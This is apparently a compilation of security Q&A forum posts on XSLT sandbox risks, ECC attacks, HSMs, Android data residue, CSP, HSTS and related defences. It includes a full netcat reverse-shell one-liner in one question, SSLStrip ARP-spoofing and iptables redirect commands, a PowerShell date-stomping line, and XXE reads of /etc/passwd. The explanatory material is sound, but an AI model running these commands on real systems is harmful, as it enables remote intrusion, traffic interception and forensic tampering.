Public XSLT & XML playground (with PHP DOMDocument, etc.) Security Risks? Let's say I want to set up a sandbox or playground in PHP that users can use to create (or paste in) XML and XSLT, then transform the XML via the XSLT (by means of PHP 5's DOMDocument and related objects).

So, in a simple example, we'd have a form with two textareas - one for XML and one for XSLT. The user would enter his XML and XSLT and hit a button. The XSLT and XML would be posted to my server, where I'd transform the XML using the XSLT, then return the result to the user.

In some ways, this is like an eval(), but I have the feeling that the risks in this scenario are minimal, or much lower than if I put up a form with a textarea for PHP and just eval()ed that code.

Is my hunch correct, or are there hidden security issues here? If so, what are they, and what sort of precautions should I look into in order to secure my theoretical application.

I'm a PHP 'newbie' if you may call me one. But having analyzed XML and XSLT libraries in the past for security vulnerabilities, and having recently done work on an application that uses quite a bit of XML, here's what I could think of:

If it is possible to pass in a XSL transformation that causes execution of privileged code, you might have to find some means to disable such execution. In the Java world (where I come from), this 'feature' is not a standard, but you can find it implemented in the Xalan-J transformer, where several extensions have been built. If an attacker were to pass a XSL file, that attempted to execute a SQL query (using the SQL extension), or execute code already available on the server (using the Java extension), then Xalan-J would do so, if the conditions were right. I'm not sure if this applies to the transformers used by PHP, but it is worth ensuring that the transformer transforms XML into XML, and not perform anything else (which appears to be your requirement). I would restate this in simpler words as - choose a XML transformer than can be locked down as much as possible, to provide only the necessary function of transforming XML documents.
Files and other URIs (that are not visible to the attacker) can be specified in the XSL, which will be fetched by the transformer and could be included into the resulting XML. This is the external entity expansion (XXE) attack. It would be possible to obtain /etc/passwd, /etc/shadow etc. in this manner, if the files were accessible to underlying process. Disable expansion of entity references, if you can.
Related to XXE, is XDoS which allows for denial-of-service attacks to be mounted, resulting consumption of CPU cycles. The countermeasures include :

limiting the number of entity expansions that can be performed by the parser (which is akin to the secure processing support required by Java API for XML Processing 1.4). A related countermeasure in this area, is to limit the number of attributes that can appear in any element in the document.
disable the use of DTDs; your parser must be configured to reject any document with a DOCTYPE element in it. This is the approach adopted by SOAP implementations.

There is a possibility of reflected XSS (assuming that you are not populating the textarea using JavaScript) as well, for XSL transformations need not generate valid XML, or HTML. The result could simply be any random sequence of characters. The output would therefore have to be suitably escaped to prevent any XSS attack.
Vulnerabilities in the XML parser itself will make other forms of attacks possible. This CERT advisory, is a poster-boy, for it is indicative of the potential problems in XML parsing libraries. Parsers are complex, due to the various requirements imposed on them through various specifications; sometimes this results in edge cases where parsers would be unable to handle certain sequences of characters in a secure manner. Although quite a lot of work has gone into writing secure parsers, the work cannot be considered not complete. The appropriate recommendation in this case is to choose a well implemented and understood XML parsing library, and to patch the parsing library regularly for security fixes.

The above is not necessarily comprehensive, but I would assume that it is a good starting point.


Is Great Cannon essentially a JavaScript injection attack? I was reading an article on Great Cannon at Ars Technica (http://arstechnica.com/security/2015/04/meet-great-cannon-the-man-in-the-middle-weapon-china-used-on-github/) and it seems to me that this is basically a JavaScript injection attack which was then used to perform a DDoS.

It sounds like the media is spinning this into a "new type" of attack. Even the name "Great Cannon" seems to indicate that this is something special.

Is there something I'm missing?

What the report shows is not the uniqueness of the attack vector, but the systemization of the attack vector as a part of a national defence strategy.

  GC is an in-path system, capable of not only injecting traffic but
  also directly suppressing traffic, acting as a full
  “man-in-the-middle” for targeted flows.

...

  In addition, in contrast to the GFW, the GC only examines individual
  packets in determining whether to take action, which avoids the
  computational costs of TCP bytestream reassembly.  The GC also
  maintains a flow cache of connections that it uses to ignore recent
  connections it has deemed no longer requiring examination.

The issue, then, is the nationwide scope and reach for targeted, active response to websites with undesirable content.


Bell LaPadula with Empty Set I've been answering some questions about the Bell LaPadula model in my book, but I don't seem to get the correct answer on b). Below I've tried to explain my thought process on how I've attemped to solve these problems.

Question:
Imagine a user that has access level:(Confidential, {Research, Accounting})
This user tries to access File1 and File2 with different categories.

a)
File1:(Top Secret, {Empty Set})

Confidential < Top Secret -> Append
{Research, Accounting} dominates {Empty} the user can thus append to File1.

b)
File2:(Top Secret, {Research})

Confidential < Top Secret -> Append
{Research, Accounting} dominates {Research} the user can thus append to File2.

According to the book the answer on B is that the user has NO access.

I believe I'm using the same logic for answering the questions, but the answers are apparently wrong. Any ideas of why? My current theory is that it has something to do with the empty set some way.

I see the empty set as being excluded from the dominance expression:

for write up,

confidential < TS, write up is possible subject to:
{research and accounting} is incommensurable with the empty set, write fails
research and research are equal, write succeeds

for read down,

confidential < TS, read down is possible, under the same conditions

With Trusted Solaris, I don't think you can create a container without a level and at least one category.

I'm not so sure about users, I vaguely remember accidentally creating one who was utterly powerless (;-)) and it probably was for lack of a category.


Are there theoretical attacks against ECC Digital Signatures? I was asked to do a research about attacks on various digital signature schemes.  There is one thing that bothers me for which I could not find a direct answer.

For digital signatures that are based on prime numbers (like RSA) attacks are theoretic for example "chosen ciphertext attack" or "known plaintext attack", a very good source could be "Twenty years of attacks on RSA cryptosystem"

For Elliptic Curve Cryptography (ECC) based digital signatures attacks are purely physical, for example "fault attacks" or "side-channel attacks", a typical source is "A survey of fault attacks"

Why there are no theoretic attacks on ECC? the reason that answer is important for me is because I am supposed to implement an attack for a specific ECC digital signature.  Since it is not implemented on an actual device (at least yet) I can't do that (attacks are physical) and I can't figure another similar work as my guideline.

I barely managed to find some few paragraphs like this "The main reason for the attractiveness of ECC is the fact that there is no sub-exponential algorithm known to solve the discrete logarithm problem on a properly chosen elliptic curve" is this the reason? or am I missing something very obvious?

A couple of pitfalls with ECC:

Invalid curve attacks: Attacker encodes a point which is not on the curve and has low order. Deadly attack on Diffie-Hellman. I don't think this can be exploited with ECDSA since there is no attacker controlled point.
Point on twist on a non twist secure curve: Same as above, but works for compressed points as well.
Incorrect handing of special cases: Traditional ECC addition formulas need to handle several special cases. It's easy to forgot one.
(EC)DSA needs a uniformly distributed per-signature value. Using the same value twice or using a guessable value leads to key recovery. Even a small bias can lead to key recovery if enough signatures are known by the attacker. RFC6979 describes a deterministic generation method.
Applications relying on unusual properties the signature scheme doesn't provide. For example signatures are malleable, which caught some bitcoin applications by surprise.


How do chips with write only functionality that store keys work? I know there are HSMs that let you enter keys but you cannot read them out. Also the secure element in Android lets you do that too. You can enter keys in them and you can perform operations using those keys but you cannot read them out. How does that functionality work? I mean how do these chips prevent the read-out? What exactly in the chip makes this happen?

The microcontroller (a really tiny computer) in the HSM prevents it - your computer (or whatever device is talking to the HSM) can't directly interact with the memory chip that holds the keys, it has to go through the microcontroller which will allow you to do some operations using the keys (that microcontroller will do the operation and just give you the result), including inserting new keys, but will never give out the keys themselves (unless you find an exploit in the microcontroller's firmware that allows you to execute arbitrary code and dump the keys).

I suggest you read the Wikipedia articles about smart cards, secure cryptoprocessors and TPMs.


What data (of or about the app) remains in the device after the app is uninstalled? The question is for both Android and iOS.
Recently, the information security team of my company raised a concern about the Application cache being maintained after the app (made using Cordova) was uninstalled.

What is the nature of this Application cache (is it sensitive data)? What is the location of this Application cache data?

During the installation process, Android isolates apps from one another and from the system by assigning them a distinct Linux User ID (UID) for security reasons. This UID doesn't change for duration of app's lifetime on the device. The system maintains a list of UIDs in use, and assigns the next available one to the newly installed app. Device rebooting will force the system to reconstruct the UID list, so the UIDs of the uninstalled apps will be recycled and be possibly assigned to the newly installed apps. Now here lies the risk. When an app is uninstalled, the user will be deleted. Any data left behind by this app now become what one can call "parent less", because their owner no longer exists. They don't possess any harm if they remain so.

However, if they are inherited or possessed by another app, i.e., another user (UID), there will be potential security consequences if the “parent less” knows a lot about its previous parent or still possesses some privileges
of the previous parent. This problem is called data residue problem . The data residue vulnerability is particularly complicated due to the fact that the residue might take several forms. During runtime, the system may store various types of data on behalf of apps, ranging from app permissions, operation history, user configuration choices, etc. These data can be files, databases, and in-memory data structures. They may not be simply data; they can represent
privileges (such as capabilities), i.e., whoever possesses them
can gain additional power.

For example, the URI placed on Android Clipboard by an app gives recipients the capability to access that app’s private data. If an app uses Android’s credential management services, such as AccountManager or Keystore, the credentials for the user’s online accounts can become data residues after the app is uninstalled. An email app(xyz) uses AccountManager to store the credentials for all the email accounts it manages, including Microsoft Exchange, Gmail, and Yahoo Mail. After this app is uninstalled, any
malicious app can take over all its credentials stored inside AccountManager, and can successfully log into the user’s Yahoo Mail, Gmail, and Microsoft Exchange accounts.

Nature of Application Cache: may be and may not be sensitive,both.
Location: If a newly installed app with the same UID can gain the access to the
files downloaded by their previous owner. For that the default location is

  /data/data/-
  com.android.providers.downloads/cache/

You can collect all available system services using the dumpsys utility provided by the Android Debug Bridge (adb) if you want what kind of files are left behind by an individual app after uninstallation.


Possible to backdoor a Netcat Listener? I have been getting into backdooring computers and servers using either specialized software or some malicious command that spawns a backdoor on the target machine, then pipes the terminal to my listening netcat session on my server.

While this is an interesting field, to just see how easy it is to do that type of thing, I got some curiosity to attempt to do something else.

I was wondering about the possibility of spawning a backdoor on the server that is listening on a port using Netcat. Preferably a Linux machine. The command would look like something like:

root@ubuntu:~# nc -lvk 9000
Listening on [0.0.0.0] (family 0, port 9000)

This is basically what the attacker's server would look like. Then say he was waiting on a backdoor to spawn on his victim's machine. The victim would run some command on his Linux machine like:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 9000 >/tmp/f

Assuming the 10.0.0.1 IP address is the IP of the attacker. At this point, the attacker (after the victim ran this malicious command), would see this:

root@ubuntu:~# nc -lvk 9000
Listening on [0.0.0.0] (family 0, port 9000)
$

and from there the attacker now has a terminal being piped to his server from the victim.

How could I possibly abuse this, and instead of the victim sending a shell to the attacker, how could the victim backdoor the attacker's open port (9000) that is using Netcat?

No, as you describe this, this will not work.
netcat -lnvp is not supposed to execute any command. It is just one side of a text chat really.
 As you show, you need to hook those messages up to a shell that will do something with that text by piping the shell to netcat.

Unless there is a vulnerability on the attacker machine, the victim can only send text. A vulnerability would be netcat executing a command in text it gets sent, or the attacker using a script to handle the netcat output that is vulnerable to command injection.


Should a secure boot process be aware of the peripherals/hardware? I know the question is rather broad because I am not specifying which hardware and which OS, but that is intentional. I know there should be a root of trust verification in hardware (ROM) before the image is trusted and installed. But are there are any other restrictions? I mean, does the presence of another peripheral/hardware change the scenario?

No. Secure boot is intended of providing a chain of trust for the software path.
So for example, if you boot a CD, the secure boot will verify the CD is signed.

But if you boot from a harddrive, theres no need to check if the CD is "trusted" because the CD contents is not involved in the boot process.

When the BIOS has handed over the booting process to the signed first stage bootloader (MBR) on the harddrive, its the first stage bootloader's responsibility to verify the second stage loader, that its signed.
And so on, the second stage will then verify kernels and boot drivers are signed, and when main OS boot up, the main OS will then verify other components.

If added hardware causes the computer to select another boot path, for example a added PCIe drive or similiar, and this boot path contains data that fail signature validation, of course secure boot will fail.

Added hardware such as keyboard or such, kan be prevented by setting up policies in main OS. Since no key input is accepted until the main OS is started anyways, the computer will be secure.
The only exception is the BIOS prompt, but that can be protected with a password.


How does SSLStrip grab traffic? In Marlinspike's description on how to set up SSLStrip, he says to enable forwarding

echo "1" > /proc/sys/net/ipv4/ip_forward

then redirect traffic from port 80 to the SSLStrip listen port

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>

and then to poison ARP to get traffic sent to this host

arpspoof -i <interface> -t <targetIP> <gatewayIP>

(See http://www.thoughtcrime.org/software/sslstrip/)

I don't get it.  I understand that using arpspoof gets other machines to believe your host is the gateway, but then iptables will look at TCP/IP packets with destination port 80 and rewrite them to have a new port in the TCP header.  But the IP address isn't changed, correct?  So the attacker will forward to the dest IP address with a new port, and SSLStrip will never seen the packet.

Does iptables by default change the IP address as well?

The REDIRECT target in iptables will rewrite the destination ip to the local ip on the incoming interface. The port will per default remain the same, by you can rewrite it using --to-port.

Extra: to redirect to a different IP, you can use the DNAT target instead using -j DNAT --to <ip>:<port>


Web of Trust: What is "signatory trust"? I am learning about the Web of Trust and how to use it. However, I have some issues to fully grasp the concept of Signatory Trust.

What is an easily understandable definition of signatory trust? An example would be very helpful.

Signatory Trust

Signatory trust is used to describe the situation of transitive certifications. Consider Alice signed Bob Alice -> Bob, and also puts owner trust on Bob (owner trust means, Alice puts faith in certification Bob issues). Now, if Bob signs Carol Bob -> Carol (but Alice doesn't), Alice cannot directly verify Carol's key (she didn't certify it herself), but she can build a trust path:

Alice -> Bob -> Carol

Remember that these transient trust steps always require three components, a certification from a trusted and already valid key. PGP/GnuPG use a more advanced trust model with marginal and full trust, but the basic principle is the same.

Trust Categories in the Example

In this situation, we have different kinds of trust:

trust in identity (Alice is sure about Bob's key ownership, and Bob is sure about Carol's key ownership)
owner trust: do I trust the key's owner to certify other keys? (Alice trusts Bob's certifications)
key validity (the German Wikipedia uses "legitimacy" here): Is there a trust path to the other key, based on the first two kinds of trust?

trust path from Alice to herself is trivial (same for Bob to Bob and Carol to Carol)
direct trust from Alice to Bob, and Bob to Carol
signatory trust: transient trust path from Alice to Carol, over Bob's trusted and valid key
Bob cannot put trust on Alice' key, Carol can neither trust Alice nor Bob  (no trust paths)


Clicked link in faked email Backstory

So 3 weeks ago I received an email from Microsoft Imagine, requesting me, as a student, to update my profile on their website because they recently had changed from dreamspark.

That message in itself is real, but the email and the email sender did not seem to be real. I contacted a Microsoft employee at their answer desk, and they said they could not find the email account in their database, nor did they recognize the links I provided which by the way all looked like this:

https://click.email.microsoftemail.com/?qs=(Long string of numbers and letters, each different for each link in the email)

I normally don't click links in emails unless prompted to immediately after registering or resetting or whatever else immediate action I have taken on other legit websites. Nevertheless, I somehow let my guard down and clicked a link.

Event

What happened was that it appeared as if my window refreshed. That was all.

My browsing history didn't register that I went to another site (just 2 consecutive instances of the same email-account website I opened my mail with); my download history and download folder did not have any new additions; no new  installed program has appeared in my programs and features; and nothing was added to my startup folders or startup in task manager.

A runthrough by malwarebytes anti-malware premium (which I only bought after clicking the link) didn't find anything, nor did windows defender.

Question

What I would like to know is what could have happened? Could malware have sneaked its way in? And if so, how do I find out about it?

I was told that one possible consequence could have simply been that my email was validated as real by the scammers, for future email scam use. I can live with that annoyance. But I don't like the idea of some ransomware, keylogger or botnet malware hiding itself on my computer.

What is possible that could have happened from such an event, and what can I do to damage control it?

I have seen that at least another poster has asked a similar question, but I was wondering about the specifics of my incident.

Agree with the advice given so far. Someone has validated at least your email address against a database, this has value in itself.

They may also have captured additional information including those mentioned. Other possible information may have come from well-known cookies and other persistent information.

The links, of course, all contain specific tracking GUID's so they have matched your email address and browser details against their "campaign" as well. I would expect that you will see, at some future point, a big increase in spam and phishing attacks against that email address.

There is a small possibility that a rootkit might have been installed that might only activate later. I wouldn't rely on a single malware checker, run a few.

Looks to me as though you were relatively lucky in this instance. Here are some things you can do to avoid stuff like this being a disaster:

Use a different email address for every vendor contact. Many email services allow you to use a + symbol following your name and then you can put what you like after it. So using something like mymailaddress+vendor1@mydomain.com for example allows you to keep things separate and should an "address" be compromised, you can then blacklist it.
Use a good adblocker in your browser. Better still use one on your router if you can (most can't but a few can such as the Ubiquiti EdgeRouter's) and/or also use OpenDNS with some of their blocks in place.
Check occasionally using multiple anti-malware tools. You mentioned Malwarebytes, Hitman Pro is another good tool. There are plenty of others and most allow you to run a check without paying.


Best practice in securing a web server and an offsite worker Suppose I'm hosting a web server and a separate box offsite that crunches data. The web server interacts with the worker using the worker's API over port 2888. What would be the design of a secure infrastructure be like?

I was thinking to have just 2 firewalls: one in front of the web server with port 80 open to the public and port 28888 (for the worker) open just to the worker's IP and one firewall in front of the worker with just 28888 open to the web server's IP. Would this be secured or would I need an VPN?

Thanks

Whether a VPN is necessary in this scenario would largely depend on the nature of the traffic between the worker and the web server and whether you're worried about Man-In-The-Middle(MITM) attacks.

A VPN could add two potential benefits to your security here.  Firstly it should encrypt the data between the endpoints.  This is obviously a security benefit if the traffic between the two endpoints is unencrypted by default (e.g. over HTTP). However if the data is already encrypted, then there may be a limited benefit here.

The other benefit could be authentication of the endpoints.  At the moment you're restricting by source IP address using a firewall, but there are always potential risks (over an untrusted network like the Internet) that someone could place themselves "between" the endpoints as a Man-In-The-Middle.  A proprerly configured VPN should include authentication of the endpoints which should preclude this kind of attack.  However it could be that the application traffic already handles this (e.g. HTTPS with trusted certificates) so the VPN might not add much.

So there are potential benefits, depending on the nature of the application traffic.


Understanding JVM zero day in relationship with other runtimes I am a .net and php developer and since java has been in the news recently thanks to the string of zero days, I decided to brush up on security.

In regards to the java zero days, this question has been very helpful: Security of JVM for Server. My understanding is that the vulnerabilities exists on the java applets running on the browser and not for web applications hosted on a server.

If this is correct, then server side web applications running on platforms like .net, springmvc, lamp are pretty secure, aside from developer introduced attack vectors like not sanitizing input and the like (see owasp).

My question is this: Has there been any studies to see if any of the popular web platforms (I can think of lamp, spring, .net) are inherently more vulnerable than others?

You are right in your assessment of "Java 0-day" for server code. These attacks are about hostile code breaking out of the applet sandbox, which is the security model used by applets: an applet is code which might be malicious, and thus will run under heavy restrictions (e.g. no access to local files, no loading of native code, no network connections except back to the server which sent the applet in the first place, no full introspection on other packages...). On a server, the code is, by definition, non-hostile, and does not run in a sandbox.

Java on a server still runs in the Java Virtual Machine, which is not the same as the sandbox. Roughly speaking, the JVM enforces type rules (no field access or method calls on objects which do not have the designated field or method) and array bounds (no write in adjacent bytes upon buffer overflows), and runs the garbage collector; the sandbox adds a lot of extra checks about which standard methods may be called or not, with an elaborate permissions system. Server-side code is not sandboxed, but the JVM will still contain the damage in case of exploitable holes:

In case of a buffer overflow, the offending thread is terminated (well, it receives an exception which it can trap, but in practice termination is the normal end result) and no object in memory has been actually damaged. Buffer overflows are still bugs, but, at least, consequences are limited.
The garbage collector, by definition, will prevent any type of access-after-free.
The strict type system will prevent accessing any data byte with an interpretation distinct from what was used to store that byte in the first place.
Uninitialized local variables cannot be read (the flow analysis when code is loaded prevents that). Fields are systematically forced to sane default values (0, false, 0.0, null).

All of this, though, equally applies to .NET and PHP and Perl and just about everything except very low-level programming languages.

Trying to establish levels of inherent vulnerabilities is a risky business. The characteristics of Java, that I explained above, can be turned into an argument about how Java is "inherently secure". However, the same would apply to most other programming frameworks, including PHP. Ultimately, most vulnerabilities are programming errors, not in the framework, but errors made by the developer who used the framework. Counting published vulnerabilities will tell you only about security holes in the framework libraries, but not about holes in code developed for the framework, and that's where most holes will be.

So the vulnerabilities relate to how easy to framework is to use, and how well (or bad) the framework features help the programmer into not making bugs. This is relative to the developer. A skilled PHP developer who does not know anything about Java will not be good at making a secure Java-based server: he will have to learn some Java and use it right away, it will be a painful process, and the developer will not have much time for tests. This does not imply at all that PHP is inherently more secure than Java; the situation would be reversed with a developer who knows Java but not PHP.

At best, we can point out that "low-level" programming languages like C, Forth, Assembly, C++... are objectively harder to use than "high-level" ones (like C#, Java, PHP, Node.js...). The point where this is most apparent is handling of character strings. Typical servers do that a lot. In C, character string handling is very manual, with all the allocations and copying, and taking care of buffer lengths. Languages with automatic memory management (e.g. all the ones with a GC) make such jobs much easier, i.e. much harder to get wrong.

That's about the end of the exercise. For platforms based on high-level languages (be it LAMP, Spring, .NET...), the "most secure" will be the one that the developer knows best. This "knowledge factor" trumps all others.

(You might turn that into: "the most secure Web framework will be the one for which it is easiest to find a competent developer".)


Anonymiszing sensitive data in MySQL DB while retaining searchability I have a MySQL database that stores sensitive (personal) data about individuals; and have been tasked with ensuring that this data is encrypted in some way to protect the individuals and their data if e.g. the server should be compromised, or a malicious user from our hosting service provider accesses the server without authorization. The database is used by a PHP web framework residing on the same server.

I'm struggling with a good scheme that allows the data to be encrypted & impossible to read without proper authorization; while maintaining the functionality (indexes, database relations, being able to read back the data in the web framework). What are best options?

Two approaches I've considered are:

1) Encrypting specific fields/data in the database with a key so that if the database is compromised, the information in it will not be deducable to an individual user (e.g. we maintain indeces and relations, but personally identifiable information is encrypted). The app would decrypt the information using the key at runtime. The challenge is in how to manage the key - if it's placed in the app logic or accessible by the app logic as a file on the same server, it can still be compromised. Possibly it could be located on another server; but it would still be necessary to access at run-time by the app logic; i.e. access to the app logic would make it possible to gain possession of the key. Possibly I could store the key in memory upon boot of the server; but it introduces a possible stability issue (service down after reboot). What are options? Is this a good approach?

2) Implementing some sort of logical data division between personally identifiable information, and the remaining database. E.g. a table with personal information (user name, email) an index; a table with the sensitive data (e.g. table of health info) with another index; and then introducing some type of one-way key-based encryption (think e.g. http://en.wikipedia.org/wiki/Message_authentication_code) table mapping between the two, where the relation between the personal information & sensitive data can only be made (even run-time by the app-logic) if a key can be supplied to match the table together. But again, I stumble upon the need to manage access to the key used in the above scenario; similar to above.

What is best practice?

All the details of proper database information handling go well beyond the scope of a quick StackExchange answer.  You really want to do this the right way.  Part of your problem is the architecture where the database, and the web app accessing the sensitive info are on the same server.  If that server gets compromised, so does the keying material for any encryption you do.

If you are just looking for a practical fix, rather than design theory, I have two suggestions.

One one is free, and open source, but actively under development (so I have no idea how suitable it would be for your business production use).

The other is a commercial solution you could buy (suitable for business, but I don't know your budget or business needs).

Open source - cryptdb (code available on github)

Commercial - Voltage SecureData

I've used both, but without knowing more about your circumstances, I couldn't say which is right for you.  Voltage is more business-ready, and used by fortune 500 companies, cryptdb is more of a research project which may appeal to do-it-yourself types.


securing unpatched websites I have a client with a lot (read several thousand) websites in several old cms solutions that are no longer maintained. Now moving all of them to a maintained solution isn't really an option at this point. So I'm thinking about ways to secure the solutions without patching them.

The solutions are mostly joomla 1.0/1.5 and wordpress. What I'm thinking is something like this:

mod_suexec to lock everyone into their own home directory
apparmor to deny any and all file writes by default. (exclude by default, include things like "images" directories).
use htaccess to prevent anything in writable directories from being executed. (aka disable php_engine for images/ directory).
mysql triggers to check the "users" tables to prevent adding new admins/superadmins.

Does this make sense? Is it viable? Am I missing something obvious?

//Edit:
Yes, I know it's a horrible idea. I know it can't be made secure. I've informed the client about this VERY clearly. What I'm looking for is a way to setup a temporary solution until these clients can be phased out. The alternative (that he's already doing today) is to wait until individual sites get hacked, restoring them from backup and upgrading them manually.

//Edit2:
Alternate idea : Take every php script on the site as per today, and setup apparmor so php can execute them, but nothing else. If I at the same time make them read only that should lock the sites down pretty well.

Beside the fact that you should realy upgrade to a non vulnurable system/cms, have a look at mod_security - http://www.modsecurity.org/


How are stateless firewalls useful in public cloud platforms? I'm trying to understand the value of stateless firewalls in public cloud platforms like Network Access Control Lists (NACL) in Amazon Web Services (AWS). I think I know a few ways I can use them, but I'm not sure about the actual value in terms of security.

AWS already has security groups - which are stateful - with which I can restrict what source CIDR can access what port in a compute instance. I know NACL can be used to secure an entire subnet. Apart from sheer convenience, is there any other valid use case for stateless firewalls in cloud platforms that can't be achieved with stateful firewalls like Security Groups.

This question arose because I found that Google Cloud Platform and Azure Cloud don't seem to have stateless firewall services. GCP has cloud armor security policies which look similar to AWS NACL but they seem to apply only to HTTP load balancers.

Stateful firewalls are generally pointless in front of public-facing servers, as you are accepting all incoming connections from every address on whatever port. This can be accomplished with a stateless packet filter.

Stateful firewalls are also generally the first component to fall over during a DDoS attack, even before the servers or network links run out of resources.

Finally, stateful firewalls require nasty and brittle “state synchronization” and clustering mechanisms to be highly available. These generally don’t work correctly when needed, and are seldom tested correctly by stateful firewall customers.

In short: cloud providers provide the tools to run high volume public facing Internet services. Stateless packet filters are a critical piece of that puzzle, as stateful firewalls are only useful in low-volume scenarios without multiple network paths.

Evidence: Microsoft, Google, Amazon, Cloudflare etc. do not use stateful firewalls in front of their own public-facing high volume web services. They use router ACLs which are implemented in silicon.


Best practice for two WebServices that have to authenticate with each other I have two WebServices that are hosted by two different applications. Both Applications access each other's webservices:

Now both WebServices have to authenticate with each other. Different solutions came to mind.

Create a Authentification Server
Each application has a config file: Put a generated key in there.

What are solutions for this problem?

You can use WS-Security to sign requests.  Depending on your application stack, you can even have a local CA sign the certificates, and use the CA signature to verify any of an arbitrary set of clients.


Can this Javascript redirect be exploited in some way? Since I can modify pathname, search and hash value could I leverages this in some way?
var URL = window.location.hostname+window.location.pathname + window.location.search + window.location.hash;

var sURL = "https://" + URL ;

window.location = sURL ;

I'm not sure what you're imagining you might do, but the answer is no. String concatenation isn't inherently unsafe, nor is the code doing anything unsafe with the concatenated string. Redirecting to an HTTPS URL is the opposite of unsafe, and assuming you control the initial URL you could direct the "victim" to any URL you wanted anyhow.
If it was possible to change the URI scheme to something potentially unsafe (like javascript: or data:) you might have an attack vector for XSS. Even then, though, it'd be tricky to get something close enough to correct to load the page at all but also containing a meaningful payload, even if swapping out the expected scheme was somehow trivial. In any case, the scheme is hardcoded here, and you're not going to be able to change it.


Does allowing unsafe-inline script defeat the purpose of CSP? I am reviewing the Content-Security-Policy headers set in one of our webservers and I see this is how it is set (where 'example.com' is our trusted website).

  Content-Security-Policy: "default-src 'self'; script-src 'self' data:
  'unsafe-inline' 'unsafe-eval'; img-src 'self' *.example.com; font-src
  *; connect-src 'self' *example.com"

My questions are:

1) Won't whitelisting unsafe-inline and unsafe-eval kind of defeat the whole CSP?

2) If 'unsafe-inline' is allowed or whitelisted as above, can someone call a JavaScript from an external website, say www.xxxxxx.com that is not whitelisted in script-src directive and there-by defeat the whole purpose of CSP? Eg: <script src="www.xxxxxx.com/bad.js">

I went through this question here and going by the answers, it does look like the above CSP is not good.

Won't whitelisting unsafe-inline and unsafe-eval kind of defeat the whole CSP?

Yes. A tight CSP will make it harder to exploit XSS by restricting the scripts that can be executed. Using unsafe-inline and unsafe-eval allow to run any script. This is also why they are prefixed by unsafe-, to discourage you from using them in the CSP.

Of course the data: protocol also makes it possible to bypass the CSP, since you can encode any script as data: URL.

  If 'unsafe-inline' is allowed or whitelisted as above, can someone call a JavaScript from an external website

You could retrieve the script contents and run them from within JavaScript. Including it with <script src="www.xxxxxx.com/bad.js"> doesn't work but since you can run JavaScript anyway there are other ways to run external script.


If a file on USB drive shows a certain "date modified" time in the windows explorer, can the correct added date/time be checked for the file? If someone copied files from a drive-1 to usb-drive-2, then it seems the directories and files get the original modified time from drive-1 in some cases and in some cases not.

Can it be checked if the file/directory was actually copied to the drive at a later time and not at "date modified" time that shows on the usb-drive-2?

Can it be checked if the file/directory was actually copied to the drive at a later time and not at "date modified" time that shows on the usb-drive-2?

Date stomping is the problem.  It's a technique where nefarious behavior is masked by editing the dates of files.  And it's incredibly simple--here's an example on Windows in PowerShell:

(Get-Item '.\somefile.lnk').LastWriteTime = [datetime]"10/26/2018"

With that being said and forensically speaking, there are places in the Operating System (on Windows) where, while not impossible, is significantly harder to alter.  There is a master file table on Windows at the root of C:\$MFT which is hidden but tracks all file events.  These are commonly referred to as MAC times (modified, accessed, created).

There are tools in a number of different suites to interrogate these parts of the file system and create searchable timelines for file level events--this is often used in malware hunting.  SANS has a distro called SIFT workstation where forensic tools can analyze an offline disk or disk copy (via 'dd' or other disk cloning capabilities).  There are also expensive forensics tools that allow you to interactively pull this information from an online machine.  FTK, EnCase, and the Sleuth Kit are probably the most well known.

However, this only tracks traditional disk-level events.  USB device copying events are not tracked by Windows -- you need third party software for this.  With the aforementioned software though, you could get a better feel for what happened on drive-1 and then correlate those MAC times (via the $MFT) to what Explorer is saying for the USB drive to get a rough idea.


Is an HTTP 301 redirect to HTTPS, insecure? For a website, I force a 301 redirect from http://login.example.com to https://login.example.com using a .htaccess file.

As I read in this question this still imposes a security threat. I'm wondering how this still poses a threat. Could anyone explain this in a general way?

Since you're doing a 301 redirect over HTTP, someone could man-in-the-middle that connection and redirect you anywhere they wanted - in particular they could actually not redirect you at all, and instead get between your computer and https://login.example.com, monitoring your connection and serving you its contents under the name http://login.example.com instead.

A way to mitigate this is to use an HSTS HTTP header - when the user first loads your page, it tells their browser that your site is to be loaded on HTTPS only until some date in the future (the directive typically has an expiration date set in the far future). This means that once the user connects to your site once via HTTPS, they will always do so in the future until the expiration of the HSTS directive.

This leaves one last scenario - say that the attacker MITMs the connection BEFORE the user's browser ever sees the HSTS header from your server. In that case the user's browser never knows that it shouldn't use non-HTTPS connections. A way to mitigate this is to include your website in the HSTS preload list, which means that web browsers ship already knowing that your site is HTTPS-only. Chrome, Firefox, Safari, IE11, and Edge all have an HSTS preload list that includes the Chrome HSTS Preload List, and in a few steps you can submit your site too - more information on the Chrome HSTS Preload List.

If you put your site on the HSTS preload list and complete what that entails, then you can have reasonable assurance that anybody using new versions of those browsers won't be vulnerable to an HTTPS-to-HTTP MITM downgrade attack by a casual attacker.

Just keep in mind that once your site is on the HSTS preload list, it's not very quick to get it back out of everybody's browsers, since any browser that hasn't been upgraded (again) will expect your site to be loaded via HTTPS only.


Secure one way radio communication I was thinking about the feasibility of one way remote control using radio signals. The sending hardware would be bound to a computer and therefore have enough computing power, while the reciever would be a limited hardware device that have some rudimentary computing power.

Putting aside the obvious drawbacks of one way communication (acknowledgement), would the proposition I have in mind be feasible.

The reciever has the private, and the sender has the public key
The sender sends a encrypted data stream containing a random string
The reciever decrypts the data
The sender uses the unencrypted string as header for the bulk data
The sender encrypts header+data and sends them to the reciever
The reciever can verify that the data is authentic

Problems(I assume that the channel will transfer the data without too much interference):

Acknowledgement(of course)
Repeating the same data streams from a third party

I thought about the second problem, and it came to mind that a time stamp could be helpful(put it into the header before encryption). But the reciever won't be connected to any network to update the time, so it would need a synchronised clock. I don't know if synchronisation through this channel would be a security risk.

I tried to find something on the internet regarding one way communication but haven't found anything very helpful. I tried to stick to the KISS principle, as I hoped it would be less error prone. What are your thoughts of the system? Are there any obvious flaws?

P.S. I'm no security expert, but I had some minimal stuff in some broad engineering courses though.

For one-way communication you have three classes of issues to contend with:

Confidentiality: you want the messages to be unreadable by eavesdropper. Only the receiver (and possibly the sender) should be able to read the message.
Integrity and authenticity: you want the receiver to make sure that what it receives is indeed what the authentic sender sent. Thus, there must be reliable detection mechanisms for both alterations (message is modified while in transit) and impersonations (attacker sends a synthetic message that the sender never produced).
